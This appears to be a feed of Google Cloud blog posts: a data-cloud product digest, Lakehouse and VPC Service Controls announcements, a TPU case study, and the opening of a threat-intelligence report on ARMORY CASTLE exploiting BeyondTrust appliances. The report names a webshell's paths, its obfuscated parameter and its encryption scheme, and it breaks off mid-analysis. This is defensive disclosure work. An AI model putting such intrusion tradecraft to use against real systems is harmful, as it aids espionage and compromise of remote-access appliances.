Organizations across industries are scaling their data and AI foundations on Google Data Cloud. Yahoo uses flexible VMs in Managed Service for Apache Spark to reduce provisioning failures by 85%, while PayPal migrated mission-critical analytics workloads to Managed Service for Apache Spark to scale and reduce operational overhead. On the database front, Surescripts migrated 30.5 billion annual healthcare transactions to AlloyDB with 99.998% uptime, Airwallex manages more than 5,000 databases with 99.99% availability on Cloud SQL with a team of four DBAs, and Lucius AI runs a 210,000-tender global platform on AlloyDB and MCP with 47x faster ScaNN vector search.

September 7 - September 10

Pub/Sub SMTs can now AI Inference your Gemini Enterprise Agent Platform models!
Pub/Sub AI Inference SMTs allow you to apply inference on an incoming stream of events using models hosted in Gemini Enterprise Agent Platform. The model’s prediction is appended to your event, making it available for downstream processing in your data warehouse (like BigQuery) or operational database (like BigTable). This feature, now generally available, can dramatically simplify or enhance anomaly detection systems you are operating.
PostgreSQL Source Connector is now generally available in Managed Service for Apache Kafka!
Managed Service for Apache Kafka’s PostgreSQL connector allows customers to capture changes from their PostgreSQL database and ingest them into their Kafka infrastructure with low latency. This source connector is compatible with Cloud SQL for Postgres, AlloyDB, and self-managed PostgreSQL databases. Try this along with our entire portfolio of managed connectors, including MirrorMaker 2.0, BigQuery, Cloud Storage, and Pub/Sub! E-mail kafka-hotline@google.com if you have questions or feedback!

Pause-on-failure for Dataflow batch jobs is GA
Dataflow pause-on-failure enables you to preserve the state of a batch Dataflow job before it fails. By pausing your Dataflow job, you can address issues that are external to the pipeline and resume processing without losing completed work. This helps you better manage resource costs and improve job reliability when you face temporary outages or capacity constraints.

The insertAll API is now the BigQuery Storage Write API (REST)
The legacy insertAll streaming API is now rebranded as the BigQuery Storage Write API (REST). By dropping the "legacy" label, developers can confidently build long-term HTTP-based streaming workflows. This stateless JSON-over-HTTPS endpoint offers a lightweight alternative to heavy gRPC libraries—ideal for serverless web apps, IoT telemetry, and AI logging. The transition is seamless for existing users, requiring zero code changes and offering 100% backward compatibility. However, the Storage Write API (gRPC) version remains the recommended standard for high-throughput, continuous pipelines.

August 31 - September 4

Stateful processing is available in BigQuery continuous queries in Preview
Stateful operations significantly expand what’s possible with BigQuery continuous queries. This feature allows users to leverage functions like JOINs, aggregations, and windowing functions directly in their streaming queries. Now you can calculate metrics over time (for example, a 30-minute average) to power your downstream applications and AI agents with much richer, real-time signals.

Try out our feature here and share your feedback with bq-continuous-queries-feedback@google.com!
Synthetic data generator tool is available for Managed Service for Kafka
You’ve launched your first Kafka cluster. Now what? The next thing to do is to produce some data to the cluster, but that involves modifying a client application somewhere or spinning up a virtual machine. The synthetic data generator tool, now generally available, can start sending mock data to your cluster in 3 clicks, and will get data streaming into your cluster in less than two minutes. The perfect utility for those moments you just want to test your cluster and new features. Try our quickstart today!

Dataflow pipeline updates are faster & more flexible
Dataflow pipeline updates can now stop-and-replace pipelines, a major addition to the existing in-place-update feature. The new parallel pipeline option accelerates the migration between the old & new pipeline, resulting in reduced disruption to your business. You can also set a timeout on drains that prevents runaway costs for your pipeliness in the event of stuck processing. This feature is generally available. Try it here!

July 6 - July 10

New Lakehouse managed tables now in preview
Lakehouse tables for Apache Iceberg are now in preview and available in the console. By using Google-managed Apache Iceberg tables in Lakehouse, you can eliminate the overhead of maintaining duplicate data pipelines and complex synchronization logic between BigQuery and open-source engines. This unified table format delivers native, multi-engine read and write interoperability, allowing you to run concurrent DML/DDL operations across diverse analytics tools on a single, shared storage layer. Built-in automated table management handles painful background optimization tasks like compaction and partition tuning, freeing up your team to focus on building rather than managing storage maintenance.

June 1 - June 5

Beyond the Query: Powering AI Agents with Bigtable, Firestore & Memorystore
Discover the latest advancements in Google Cloud's NoSQL Database portfolio, including Bigtable, Firestore, and Memorystore. This series is designed for a broad audience: whether you are exploring these databases for the first time or are an existing user looking to leverage the new capabilities announced at Next '26.

Register here to secure your spot!

Cloud Engineer's AI Toolkit Workshops: Solve data-driven challenges with BigQuery, AlloyDB, Gemini and more. Hosted by Google Cloud Labs, this highly technical event is built specifically for Platform Engineers, SREs, and cloud infrastructure teams ready to bridge the gap between AI prototypes and production-grade deployments. Look out for more locations coming soon

Toronto - June 25 (Data Cloud) | RSVP Here
Chicago - June 30 (Data Cloud) | RSVP Here
Start a 10-day Bigtable free trial with a 1 node SSD cluster and up to 500GB of storage capacity. With no credit card required to start, you can easily ingest workloads and manage workloads that require low-latency, high-throughput, and predictable access. Plus, new Google Cloud customers get $300 in free credits on signup.

May 11 - May 15

Managed Service for Apache Airflow has launched a wave of new features, including the general availability of Airflow 3.1, AI-powered agentic troubleshooting, a new managed Airflow MCP Server for custom agent integration, and declarative YAML-based orchestration pipelines—discover all the details in the full blog post.

April 20 - April 24

Google-built ODBC Driver for BigQuery is now available in Preview
We are excited to announce the launch of the new, Google-built ODBC driver for BigQuery. This new open-source driver provides a direct, high-performance connection for applications to BigQuery and is developed entirely in-house by Google. Download a new driver and connect your application to BigQuery.

April 13 - April 17

We announced we are reintroducing Data Studio to play a significant role in the AI era, expanding from data visualizations and reports to host BigQuery conversational agents and data apps built in Colab notebooks.
We announced BigQuery Graph is now available in preview, offering an easy-to-use, highly scalable graph analytics solution, empowering data professionals to model, analyze and visualize massive-scale relationships in an entirely new way.

April 6 - April 10

We introduced Conversational Analytics for Looker Embedded environments, enabling users to add natural language experiences to their own custom data-driven applications, powered by Gemini.
We expanded Looker’s capabilities for faster ad-hoc analysis, with the introduction of self-service Explores, enabling you to bring your own data to Looker’s semantic layer and gain instant access to insights in a governed data environment.

March 23 - March 27

We showed you how you can scale your reads with Cloud SQL autoscaling read pools. This feature allows you to provision multiple read replicas that are accessible via a single read endpoint and to dynamically adjust your read capability based on real-time application needs.
Our customers are leveraging the full power of Conversational Analytics and Looker to drive major business and technical breakthroughs in the AI era. Companies like Telenor, Pet Circle, Fluent Commerce, Lighthouse Intelligence, Wego, and ROLLER are turning data into insights and actions, grounded by Looker’s semantic layer.

March 16 - March 20

We introduced an enhanced Gemini assistant in BigQuery Studio, transforming the agent from a code assistant into a fully context-aware analytics partner.

February 23 - February 27

We introduced managed and remote MCP support for Google Cloud databases, including AlloyDB, Spanner, Cloud SQL, Bigtable and Firestore, to power the next generation of agents. This announcement extends the ability for AI models to plan, build, and solve complex problems, connecting to the database tools our customers leverage daily as the backbone of their work environment.
We outlined how you can build a conversational agent in BigQuery using the Conversational Analytics API to help you build context-aware agents that can understand natural language, query your BigQuery data, and deliver answers in text, tables, and visual charts.

February 16 - February 20

Our customers are leveraging the full power of Looker to drive major business and technical breakthroughs. Companies like Arrive, Audika, Carousell, Framebridge, GumGum, Intel, Overdose Digital, Ocean Network Express, Subskribe and Promevo are leveraging Looker’s newest AI-driven capabilities, including Conversational Analytics, to transform data to insights and actions, and empower their entire organization with a single source of truth, powered by Looker’s semantic layer.

February 2 - February 6

Join us on March 4 for our webinar, Win Your AI Strategy with Cloud SQL Enterprise Plus, to learn how to power your generative AI workloads with 3x higher performance and 99.99% availability. Register today to discover how to build a scalable, enterprise-grade foundation for your most demanding AI applications.

January 26 - January 30

We introduced Conversational Analytics in BigQuery, which allows users to analyze data using natural language. Conversational Analytics in BigQuery is an intelligent agent that generates, executes and visualizes answers grounded in your business context directly in BigQuery Studio, making data insights for data professionals more conversational.
We outlined how data products have become the foundation for AI agents, providing the context needed to make autonomous agents reliable and trusted for real business use, backed by organized business logic and semantic understanding.
We highlighted how you can supercharge data analytics workflows, and outlined Google Cloud’s AI agent offerings for data engineering, data science, and development tools, so you can integrate agentic workflows in your applications, empower your teams and speed discovery.

January 19 - January 23

We have fundamentally reimagined Firestore with pipeline operations for Enterprise edition. Experience a powerful new engine featuring over a hundred new query features, index-less queries, new index types, and observability tooling to improve query performance. Seamlessly migrate using built-in tools and leverage Firestore’s existing differentiated serverless foundation, virtually unlimited scale, and industry-leading SLA. Join a community of 600K developers to craft expressive applications that maximize the benefits of rich queryability, real-time listen queries, robust offline caching, and cutting-edge AI-assistive coding integrations.
Introducing Google Cloud SQL on MSSQLTips: We are highlighting a new technical guide published on MSSQLTips titled "Introducing Google Cloud SQL." This article serves as an essential resource for SQL Server administrators and developers exploring Google Cloud's fully managed database service. It provides a detailed overview of Cloud SQL capabilities, including high availability, security integration, and the seamless transition of on-premises SQL Server workloads to the cloud, making it an ideal resource for those planning their migration strategy.
We are excited to announce the Public Preview of Microsoft Entra ID (formerly Azure Active Directory) integration with Cloud SQL for SQL Server. Designed to tackle the challenge of identity sprawl in multi-cloud environments, this integration allows organizations to govern database access using their existing Microsoft identity infrastructure. Key benefits include centralized identity management, enhanced security features like Multi-Factor Authentication (MFA), and simplified user administration through direct group mapping. This feature is available for SQL Server 2022 and supports both public and private IP configurations.

January 12 - January 16

Google-built JDBC Driver for BigQuery is now available in Preview
We are excited to announce the launch of the new, Google-built JDBC driver for BigQuery. This new open-source driver provides a direct, high-performance connection for Java applications to BigQuery and is developed entirely in-house by Google. Download a new driver and connect your Java application to BigQuery.
Troubleshoot Airflow tasks instantly with Gemini Cloud Assist investigations: Cloud Composer just got smarter. We are excited to announce that Gemini Cloud Assist investigations are now available directly within Cloud Composer 3. Instead of manually sifting through raw logs, you can now simply click "Investigate" on a failed Airflow task. Gemini analyzes logs and task metadata to identify failure patterns—such as resource exhaustion or timeouts—and provides actionable recommendations driven by Gemini Cloud Assist to resolve the issue. This integration shifts the debugging experience from manual toil to automated root cause analysis, significantly reducing the time required to restore your pipelines. Learn more about AI-assisted troubleshooting.

Bringing the borderless Lakehouse into the agentic era with innovations for Gemini

Thu, 15 Oct 2026 16:00:00 +0000

As enterprises shift their AI usage from experimental chatbots to autonomous agents, teams are hitting a critical bottleneck: accessing and reasoning over data scattered across multiple clouds, SaaS platforms, and on-premises systems. To turn AI agents into true systems of action, organizations need a foundation that can handle petabyte-scale reasoning without the security risks of data movement. Last week at our Gemini at Work event, we announced how Gemini can help you transform business workflows. To help power your agents with your enterprise data, we will dive deeper into the new Gemini integration with borderless Lakehouse to help you build, secure, and scale agents that work across your data estate.

Access data that lives outside of Google Cloud through Gemini

The ultimate value of the borderless Lakehouse is realized through the agents you build to transform your organization, with Gemini as the front door. With the new Gemini integration, data that’s either preconfigured or stored in your borderless Lakehouse is now directly integrated into Gemini. Currently in preview, this means you can set up access to new data sources, such as Databricks Unity Catalog or Snowflake Horizon, through Lakehouse catalog federation directly from Gemini.

Now your business users can use natural language to query records that live across clouds while your AI agents can ground their reasoning and generate code from the same data — all without moving it. By directly contextualizing AI agents across your borderless Lakehouse, you can help accelerate your organization’s AI adoption while simplifying access to critical information.

Gemini agents invoked by business users can access data that lives in BigQuery and Databricks Unity Catalog to provide comprehensive reporting and get insights using natural language.

Borderless Lakehouse advancements

In addition to this new, native integration with Gemini, we’re sharing that several features we introduced earlier this year to power your data foundation with the borderless Lakehouse are now generally available, including:

Support for Cross-Cloud Interconnect and cross-cloud caching for AWS and Azure
BigQuery support for Apache Iceberg V3 specifications
Read-write interoperability on Apache Iceberg tables for both BigQuery and Managed Service for Apache Spark
Bi-directional caching with AWS Glue, Databricks Unity Catalog, and Snowflake Horizon Catalog using Lakehouse runtime federation
Integration with Knowledge Catalog
Zero-copy data integration with Salesforce, SAP and Workday, and now, Confluent Tableflow
Synchronization of Databricks Delta Lake assets through the Lakehouse console using Dataflow

Let’s explore.

Performance and reasoning at petabyte scale

While agent context windows are typically limited to ingesting hundreds of kilobytes at a time, enterprise workflows sometimes join petabytes of data across clouds. An agent-native data platform that needs to combine data across sources, like product and customer data, to your CRM cloud and warehouse telemetry needs to be able to process data at scale. When you do this over MCP, you are limited to megabyte scale because of context windows and payload size. By integrating at every layer of the data and AI stack, the borderless Lakehouse provides enterprise-grade scalability, enabling agents to reason over petabytes of data with similar performance to it being stored locally.

At the networking layer, Cross-Cloud Interconnect and cross-cloud caching provide high-throughput, low-latency paths to AWS and Azure, eliminating variable egress fees. When an agent joins Iceberg tables in Amazon Azure Data Lake Storage with data in BigQuery, every uncached byte it scans crosses a cloud boundary, so the network sets the pace. Cross-Cloud Interconnect gives the Lakehouse a dedicated, private connection between Google Cloud and AWS or Azure, at 10 Gbps or 100 Gbps per connection. Lakehouse queries travel over that connection rather than the public internet, so latency stays low and predictable. Cross-cloud caching serves repeat reads from inside Google Cloud, so agents can query data in other clouds without migrating it.

The borderless Lakehouse includes several key optimizations to integrate Iceberg metadata within the query engine. BigQuery now supports Apache Iceberg V3 specifications, including binary deletion vectors and sort orders. These features allow the engine to handle row-level updates and deletes more efficiently by eliminating the need to rewrite entire data files. We also upgraded BigQuery’s execution engine with a new FlatBuffers-based Parquet reader and parallelized I/O to help reduce CPU overhead and serialization bottlenecks and narrow the performance gap between open formats and native storage.

This builds upon recent performance innovations to the query engine designed to support agent workloads, which often come in herds and need to process small queries quickly and cost effectively. With BigQuery fluid scaling and history based optimizations, you can run scalable and efficient agent workloads while maintaining openness with Apache Iceberg.

Meanwhile, read-write interoperability on Apache Iceberg tables for both BigQuery and Managed Service for Apache Spark makes it easy for all of your data teams to work off the same Iceberg tables in Google Cloud Storage. This vertically optimized stack helps make your agents faster and more cost-effective, leveraging the power of BigQuery and Lightning Engine to activate data without moving it. To expand the analytical depth of the lakehouse, graph support for Iceberg in BigQuery lets you analyze relationship networks, such as supply chains, directly on open table datasets.

Comprehensive context and data access for your agents

An AI agent is only as smart as the context it can access. To help prevent hallucinations and improve accuracy at the metadata layer, the borderless Lakehouse unifies your enterprise data using the Lakehouse runtime catalog. Based on the Apache Iceberg REST Catalog, it provides bi-directional catalog federation with AWS Glue, Databricks Unity Catalog, and Snowflake Horizon Catalog. The Lakehouse runtime catalog also includes a new standard Hive Metastore-compatible endpoint, allowing engines like Apache Spark, Trino, and Presto to discover metadata without architectural changes.

The borderless Lakehouse also integrates directly with Knowledge Catalog, which automatically indexes your distributed data assets, to provide the precise business metadata and semantic definitions agents need to reason over your entire enterprise corpus — including unstructured data in Cloud Storage. This gives agents just enough context to be accurate while controlling token costs, helping you develop an intelligent and sustainable agentic strategy.

The borderless Lakehouse provides zero-copy data integration with your SaaS applications like Salesforce, SAP and Workday and integrates with a larger partner ecosystem, capturing enterprise data in Knowledge Catalog and acting as a single context engine for your agents. Today, we’re expanding the partner ecosystem with new integrations for Confluent Tableflow, now generally available, which syncs to Lakehouse runtime catalog so the Iceberg tables it produces show up directly in BigQuery, with no copying and no extra ETL.

Finally, organizations with Databricks-centric repositories can now easily import, transform and synchronize their Delta Lake assets into Lakehouse through the Lakehouse console using Dataflow.

Modernize with ease

Customer use of Apache Iceberg has more than tripled since the beginning of 2025, and enterprises building with Google Cloud’s borderless Lakehouse are seeing significant impact from it:

Etsy unified three petabytes with borderless Lakehouse, joining data in place to accelerate pipeline queries by 60%.
Commerzbank transforms raw distributed data into governed, agent-ready access.
Hightouch integrates directly with borderless Lakehouse so teams can power their marketing directly on an open Iceberg lakehouse and activate that data across the Google Cloud ecosystem.
Roundel modernized its Target Product Ads technology stack from the ground up with borderless Lakehouse, completely rebuilding its data ingestion, processing, and measurement pipelines.

If you are ready to get started with the transition to borderless Lakehouse for your organization, it doesn’t need to be difficult. For organizations currently using legacy Dataproc Metastore, we now offer an automated, zero-downtime migration path to the serverless Lakehouse runtime catalog. This preserves your existing schemas and lineage while unlocking the AI-ready features of the borderless Lakehouse, so you can stop managing infrastructure and start activating agents.

Get started today with the Build a borderless Lakehouse codelab or visit our website to learn more.

Modernizing perimeter security: Scalable perimeters with VPC Service Controls

Thu, 15 Oct 2026 16:00:00 +0000

Agents represent a fundamental shift in cloud operations. They can act on behalf of users or autonomously, make non-deterministic decisions, and request data across projects at unprecedented speed and scale. Because agents are a distinct category of non-human identity (NHI), they require unique secure-by-default guardrails.

Traditional, manually-operated network perimeters are vulnerable to today’s machine-speed attacks. Overly permissive perimeters, built to avoid blocked connections, increase the risk of unauthorized data theft, but overly strict perimeters stall development under a flood of access denials.

Today, we're excited to announce key enhancements to VPC Service Controls (VPC-SC) that make perimeters easier to create, maintain, and scale. You can now add folders to perimeter membership, so that projects contained in them inherit policy. You can also manage granular exceptions and resolve denials with guided, scoped remediation.

The result is data protected by default, so you can scale autonomous agents across your enterprise without letting data leave your perimeter. This update is generally available, and at no additional cost.

Perimeters aligned to your architecture

VPC-SC provides a context-aware network security perimeter around your Google Cloud deployment, designed to secure your organization against data theft, even in the event of compromised credentials, identity and access management (IAM) misconfigurations, and insider threats. By extending network-layer protection across service-to-service interactions in Google Cloud's infrastructure, VPC-SC goes beyond traditional firewalls and creates an additional layer of defense that prevents access outside your corporate network — and is now easier for your organization to manage.

Cloud administrators configuring VPC-SC can now include folders in perimeter membership, automatically extending the folder’s access policy to every project and nested subfolder it contains. New workloads can inherit protection by default, with no further modification.

Figure 1: Simplified perimeter authoring in VPC-SC.

Perimeter membership updates when a project is moved, simplifying lifecycle maintenance. Security coverage follows the resource hierarchy that your organization already governs, and compliance verification requires only confirming that the resource is located in the correct part of the hierarchy.

Dry-run mode also supports folder membership, helping administrators evaluate the effect of a hierarchy-wide perimeter against live traffic before enforcement.

Folder and organization support in ingress and egress rules

Well-defined ingress and egress rules establish granular, context-aware perimeters without sacrificing operational flexibility across complex multi-project environments. Security administrators can now specify Google Cloud folders and organizations directly within those rules. A single hierarchy reference stands in for the set of projects beneath it, which keeps rules concise, keeps attribute counts well within quota limits, and extends access automatically to projects created later in the hierarchy.

Figure 2 : Simplified authoring of ingress/egress rules.

Using Private Service Connect endpoints in ingress and egress rules

Enterprises increasingly use private paths to reach desired endpoints in their deployment instead of exposing the traffic to the internet. Private Service Connect endpoints for Google APIs are now supported as an attribute in ingress and egress rules. Administrators can author a rule that authorizes access specifically over a designated private endpoint, producing a policy that corresponds directly to the connectivity architecture it is intended to govern.

Figure 3: Supporting Private Service Connect endpoints with ingress and egress rules.

For organizations that have standardized on Private Service Connect, including endpoints propagated across the estate through Network Connectivity Center, this provides both a more precise and a more concise means of expressing source for the request.

Service patterns in VPC accessible services

Service patterns in VPC accessible services provide granular control over Google APIs accessed with private Virtual IP addresses (VIP), permitting interoperability beyond just VPC-SC integrated services. If the workload requires controlled access to validated API endpoints over a private path, administrators can now allow only the specific API URL patterns required.

Additionally, the capability supports appending org-restriction-headers with egress requests to facilitate access to only authorized domains and resources. Because you don’t need to manage egress-proxy, you can accommodate legitimate operational requirements while maintaining a tightly-bounded private path, instead of choosing between a broad allowance and no access at all.

Figure 4: Granular control over Google APIs with service patterns in VPC accessible services.

Guided violation remediation

VPC-SC perimeter policies evolve continuously alongside the workloads they protect, and administrators periodically need to authorize a legitimate access request not yet covered. New Guided Violation Remediation in VPC-SC Violation Analyzer cuts resolution time for blocked requests from days to minutes by generating a policy fix with remediation recommendations, which you can validate in Dry-Run mode first.

Rather than just diagnosing why the violation occurred for a given denial, Violation Analyzer evaluates the blocked request against the applicable perimeter configuration, and proposes a specific configuration change, narrowly scoped by least-privilege design principles, to authorize the traffic: an ingress rule, an egress rule, an access level, or an update to VPC accessible services. This relieves pressure on administrators to broadly open up a perimeter just to resolve a violation and get an application working quickly.

Read more about how BlackLine uses Violation Analyzer to streamline investigations.

Figure 5 : VPC-SC Violation Remediation for faster turn-around.

Get started today

VPC-SC makes it simple and automated to deploy and refine granular network perimeter protection, even for autonomous agents. To get started:

Establish your folder baseline: Identify the folders in your resource hierarchy that correspond to the boundaries you intend to enforce, and define perimeters around them so that new workloads inherit policy on creation.
Run risk-free in Dry-Run mode: Observe production traffic safely without blocking active developers.
Unblock traffic with Violation Analyzer and Violation Dashboard: Use automated least-privilege remediation recommendations to resolve any denials that surface.
Enforce with confidence: Secure your full data estate by transitioning to enforcement once your dry-run logs show your intended access with clean, authorized traffic.

To learn more about how VPC-SC can help simplify your data security posture and confidently secure your autonomous agent fleets, check out the VPC-SC documentation.

How Visko streams real-time world models on Google Cloud TPUs

Thu, 15 Oct 2026 16:00:00 +0000

Editor's note: Generative AI startups are moving rapidly beyond static clip generation to build interactive, real-time worlds. In this technical deep dive, we explore how AI startup Visko collaborated with Google Cloud TPU engineers to deploy Orbis — its continuously streaming Live World Model—on Cloud TPUs, going from initial kickoff to production handover in just 30 days.

What makes a live video world model so challenging to serve in production? The bottleneck isn't average throughput — it's beating a relentless real-time clock. Unlike offline video generators where a user submits a prompt and waits in a queue, a live world model streams continuously. Every new chunk of video and synchronized audio must finish rendering before the viewer finishes watching the previous one, or the world freezes.

Today, we're excited to share how Visko, an AI startup pioneering interactive world models, teamed up with Google Cloud to solve this exact challenge. Working side by side, Visko and Google Cloud engineers deployed Visko's end-to-end live inference pipeline — combining video generation, super-resolution upscaling, and synchronized audio—onto a single Cloud TPU slice. Together, the teams brought end-to-end generation down, rendering at 1.07x playback speed.

Here is an inside look at how we engineered the pipeline to hit that milestone in a single month, the architectural optimizations that moved the needle, and practical lessons for other startups building ultra-low-latency generative AI on Google Cloud.

Redefining interactive media with Live World Models

While most generative video platforms focus on rendering fixed, pre-baked clips, Visko is building what it calls Live Models: video world models that generate continuously and respond on the fly.

Visko's flagship model, Orbis, streams live video starting from a single text or image prompt. As the stream plays, viewers can enter new steering prompts in real time, dynamically evolving the scene without restarting or breaking continuity. For instance, in one test session, the livestream opens on a cat napping beside a crackling fireplace; when the viewer steers the scene to introduce a bowl of food, the bowl materializes seamlessly, and the cat stretches, stands up, and meows.

Since launching its public demo on September 1, 2026, Orbis has unlocked new possibilities across interactive entertainment, live commerce, AI companions, immersive education, and robotics simulation. To scale these interactive sessions reliably, Visko partnered with Google Cloud TPU engineers in August 2026 to port the Orbis live pipeline to Google's Tensor Processing Unit (TPU). Within 30 days, the full multimodal pipeline was running in real time on TPUs.

Visko’s ambition is to power a new generation of interactive worlds that people can step into and shape in real time. Streaming continuous video and audio under a strict clock is a fundamentally different system challenge than offline clip generation. Working side by side with Google Cloud's TPU engineers, we brought the full Orbis pipeline to TPUs in just 30 days — giving us the low-latency compute and memory bandwidth required to bring Live Models to creators and developers at scale.

"Visko is bringing an exciting new class of real-time, steerable workloads to the Cloud TPU ecosystem. By co-engineering their live multimodal pipeline on a singleTPU slice using JAX, torchax, and custom Pallas kernels, we proved how quickly a lean startup team can go from PyTorch prototype to render at 1.07x playback speed on Google Cloud's AI Hypercomputer."
– Dave Elliott, Head of Developer Advocacy for AI, Google Cloud

Live video is a hard-deadline problem

When you serve an offline clip generator, latency is forgiving — the user waits once while the backend processes frames. A live world model has no waiting room.

Every single chunk must be denoised, decoded from latents, upscaled to 1664x936 (at 18 fps), and paired with generated audio faster than realtime playback speed, for as long as the session runs.

Two structural constraints make live world models far more demanding than standard batch inference:

Batch size of one: Each live stream represents an individual viewer's interactive session. You cannot mask latency by grouping dozens of concurrent requests into a massive batch — the standard playbook for keeping AI accelerators saturated.
Strict sequential dependency: Every chunk depends directly on the one before it. Because the video model maintains a rolling memory of recent video latents so that chunk N+1 smoothly continues the action from chunk N, you cannot pre-render chunks out of order or parallelize across future timestamps.

For startup infrastructure engineers coming from LLM serving, it helps to think of live world modeling not as a tokens-per-second throughput benchmark, but as an unforgiving per-step latency SLO.

Architecting the multimodal pipeline on a single TPU slice

To keep infrastructure lean and cost-effective as Visko scales, the team designed the live pipeline to chain three distinct generative models on a single Cloud TPU slice running in BF16 precision.

When a viewer submits an initial prompt or a live steering update, all three generative models — the core video diffusion model, the super-resolution upscaler, and the audio generator — share the same chips, taking turns on the hardware for each chunk.

Figure 1: Visko's end-to-end Orbis live pipeline chains video diffusion, latent decoding, super-resolution upscaling, and pure-JAX audio generation sequentially on a single Cloud TPU slice, completing each chunk faster than the playback speed.

To combine rapid startup iteration with bare-metal accelerator speed, the software stack is built on three open-source pillars:

JAX: Google's high-performance Python array library for accelerators, compiled into optimized machine code by the XLA compiler.
torchax: An interoperability layer that runs PyTorch models directly on Cloud TPUs via JAX, enabling startup teams to bring existing PyTorch components over without an upfront, ground-up rewrite.
Pallas: The custom kernel programming language for TPUs in JAX.

Real-time performance breakdown: Hitting the clock

By profiling and optimizing each stage on a single slice in BF16, the engineering team achieved a total per-chunk latency of under the target while — maintaining roughly 7% headroom to absorb variance during live streaming:

Figure 2: Chart of per-chunk latency budget on one TPU slice.

Because video denoising accounts for nearly two-thirds of the total compute budget, that stage became the primary focus of our kernel and parallelism optimizations.

Inside the stack: Three optimizations that unlocked real-time streaming

1. Ulysses context parallelism across all TPU chips

A video chunk expands into a massive sequence of spatiotemporal tokens inside the video transformer. To distribute that workload across the TPU chips at batch size 1, the team implemented Ulysses context parallelism.

Instead of splitting model weights, Ulysses splits the token sequence across chips. Immediately before the attention layer, a high-speed all-to-all interconnect exchange regroups the tensors so that each chip holds the entire video sequence, but only for one-quarter of the attention heads. After each chip computes attention over the full sequence for its assigned heads, a second all-to-all exchange restores the sequence-split layout for the feed-forward layers.

Figure 3: Ulysses context parallelism across TPU chips at batch size 1. High-speed all-to-all Inter-Chip Interconnect (ICI) exchanges transition tensors between a sequence-split layout for feed-forward layers and a head-split layout for Pallas splash attention.

2. Custom Pallas splash attention from MaxDiffusion

To accelerate the attention computation itself, the team integrated a custom Pallas splash attention kernel from MaxDiffusion, Google Cloud's open-source reference library for diffusion models on Cloud TPU.

Splash attention brings FlashAttention-style tiling to TPU architecture: rather than materializing the full quadratic attention matrix in High Bandwidth Memory (HBM), it computes attention in compact tiles that remain inside ultra-fast on-chip VMEM. Startup teams can drop the exact kernel used in this port straight into their own pipelines via custom_splash_attention.py.

3. A 5.8x audio speedup by moving from torchax to pure JAX

We first brought all three Orbis models onto Cloud TPU with torchax, which runs PyTorch code on TPU through JAX and XLA without a rewrite. For the video and upscaling models, torchax paired with Pallas attention kernels met our latency target directly, and both stay in torchax in the final pipeline.

Only the audio model needed a rewrite. Moving the audio stage from torchax to native JAX made it 5.8x faster and brought the full pipeline under the playback deadline.

Field notes for AI builders: Cloud TPU lessons

Takeaways from tuning live multimodal inference on Cloud TPU:

Ulysses context parallelism for single stream video: At batch size 1, splitting the token sequence across chips with all-to-all interconnect exchanges was faster than both tensor parallelism and ring attention.
Native BF16 for continuous streams: FP8 quantization cuts memory bandwidth pressure, but small quantization errors build up across chunks in a continuous stream. Native BF16 kept visual quality intact within the latency budget.
Selective JAX ports: torchax kept the video and upscaling models in PyTorch, so the team only rewrote the audio bottleneck in native JAX.
XLA compilation caching: The first boot spends a few minutes compiling XLA graphs. Caching compiled artifacts brings worker restarts under a minute.

Building real-time generative models on Cloud TPU? Start here

If your startup is pushing the boundaries of live video, world models, or ultra-low-latency multimodal inference, you can build with the same toolkit that powered Visko's port:

Accelerate diffusion attention out of the box: Grab the open-source splash attention kernel used in this collaboration from MaxDiffusion, and explore the Pallas documentation to write custom TPU kernels.
Migrate PyTorch fast, then optimize selectively: Bring your existing PyTorch models onto TPU quickly with torchax, pinpoint bottlenecks with the Cloud TPU Profiler, and port latency-critical stages to native JAX.
Spin up TPUs on demand: Use TPU Flex-start VMs to provision TPU capacity for short development and benchmarking runs without a long-term reservation.
Scale with Google for Startups: Early-stage AI startups looking for cloud credits, technical mentorship, and access to Google Cloud's AI Hypercomputer stack can apply to the Google for Startups Cloud Program.

^{Special thanks to the Visko.ai team for the close technical partnership, and to the Google Cloud TPU engineers who lead the project including: Yixin Shi, James Huang, and Elisa Tsai.}

ARMORY CASTLE Exploits BeyondTrust

Thu, 15 Oct 2026 14:00:00 +0000

Written by: Jayson Frost, Bryce Greathouse, Brian Meyer, John Palmisano, Rajesh Rajeshirke, Steve Rasch, John Wolfram

Introduction

On October 15, BeyondTrust disclosed a vulnerability, CVE-2026-102764, impacting BeyondTrust Remote Support (formerly Bomgar) appliances. BeyondTrust Remote Support is an enterprise secure remote access solution that enables IT teams to securely access and troubleshoot remote endpoints. The successful exploitation of this vulnerability results in the arbitrary upload of files.

During an incident response engagement, Mandiant identified evidence that ARMORY CASTLE, a suspected PRC-nexus espionage threat actor (formerly tracked as UNC5221), exploited this vulnerability as a zero-day, in late August 2026. This blog describes how ARMORY CASTLE escalated privileges and established persistent access to compromised BeyondTrust Remote Support appliances following exploitation of CVE-2026-102764, and provides actionable guidance for defenders.

Organizations should prepare for potential widespread exploitation following this disclosure, as ARMORY CASTLE and other threat actors have historically conducted broad, opportunistic exploitation once the vulnerability becomes public.

Exploitation

Mandiant identified evidence of CVE-2026-102764 exploitation within the access, syslog, messages, thin-scc, brain and SSL log files, which are only accessible via an LUKS-encrypted partition which contains the /home directory. We strongly recommend that affected organizations immediately apply the security patches provided by BeyondTrust to remediate the vulnerability, and review additional guidance in their blog.

Post-Exploitation

Following the successful exploitation of CVE-2026-102764, Mandiant observed ARMORY CASTLE leverage multiple distinct TTPs to establish a foothold, escalate privileges, and enable lateral movement. Throughout the intrusion, ARMORY CASTLE leveraged a deep understanding of BeyondTrust appliance internals, as evidenced by their abuse of proprietary CLI utilities, startup configuration templates and local reverse-proxy routing. The threat actor used newly identified custom malware, the SAWFLY webshell and the BARECLAW tunneler to interact with the BeyondTrust device. Additionally, the actor routinely deleted appliance logs and endpoint artifacts to maintain access and evade detection.

Figure 1: ARMORY CASTLE BeyondTrust compromise sequence of events

Staging Webshell

After successful exploitation of CVE-2026-102764, ARMORY CASTLE initiated POST requests to /app_84304470%2Ephp. Mandiant was unable to recover the file associated with the POST requests. Approximately 11 minutes following the initial POST request, the file system recorded the creation of the SAWFLY webshell at the web root path /%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/. ARMORY CASTLE leveraged the SAWFLY webshell as one of their primary footholds within the environment over the course of the intrusion.

SAWFLY Webshell

SAWFLY (mangoapi.php) is an obfuscated, lightweight PHP webshell that implements bidirectional encrypted C2 communication using a custom Base32 transport layer and a 256-bit RC4 stream cipher. The webshell inspects incoming HTTP POST requests for the obfuscated parameter _c94mfe.

